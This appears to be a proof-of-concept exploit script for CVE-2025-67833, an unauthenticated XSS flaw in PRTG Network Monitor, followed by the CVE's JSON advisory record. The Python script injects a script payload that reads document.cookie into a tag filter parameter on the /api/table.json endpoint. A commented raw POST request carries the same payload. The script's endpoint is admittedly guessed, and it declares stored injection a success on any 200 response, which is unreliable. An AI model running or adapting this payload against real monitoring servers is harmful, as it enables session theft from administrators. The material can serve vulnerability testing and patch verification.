CVE-2025-67833

import requests # CVE-2025-67833 PoC - PRTG Network Monitor XSS via tag parameter # Target: PRTG Network Monitor before version 25.4.114 TARGET_URL = "http://target-server:8080" # Malicious XSS payload xss_payload = '<script>alert(document.cookie)</script>' # Step 1: Inject XSS payload via tag parameter (unauthenticated) # The exact endpoint depends on PRTG installation injection_endpoint = f"{TARGET_URL}/api/table.json" params = { 'content': 'sensors', 'columns': 'name,tag', 'filter_tag': xss_payload, # XSS injection point 'username': 'public', 'password': '' } print(f"[*] Sending XSS payload to {injection_endpoint}") print(f"[*] Payload: {xss_payload}") try: response = requests.get(injection_endpoint, params=params, timeout=10) print(f"[+] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Payload sent successfully - stored XSS injected") print("[+] Payload will execute when viewed in PRTG dashboard") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative: Direct tag parameter injection # POST /api/duplicateobject.htm HTTP/1.1 # Host: target-server:8080 # tags=<script>alert(document.cookie)</script>

{"cve": {"id": "CVE-2025-67833", "sourceIdentifier": "[email protected]", "published": "2026-01-14T17:16:07.087", "lastModified": "2026-01-20T15:26:00.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Paessler PRTG Network Monitor before 25.4.114 allows XSS by an unauthenticated attacker via the tag parameter."}, {"lang": "es", "value": "Paessler PRTG Network Monitor anterior a la versión 25.4.114 permite XSS por un atacante no autenticado a través del parámetro tag."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.4.114.1032", "matchCriteriaId": "23AABA66-3ADB-43D3-A29A-E28419277B88"}]}]}], "references": [{"url": "https://helpdesk.paessler.com/en/support/solutions/articles/76000087289-vulnerabilities-in-prtg-prior-v25-4-114-1032", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://paessler.com", "source": "[email protected]", "tags": ["Product"]}]}}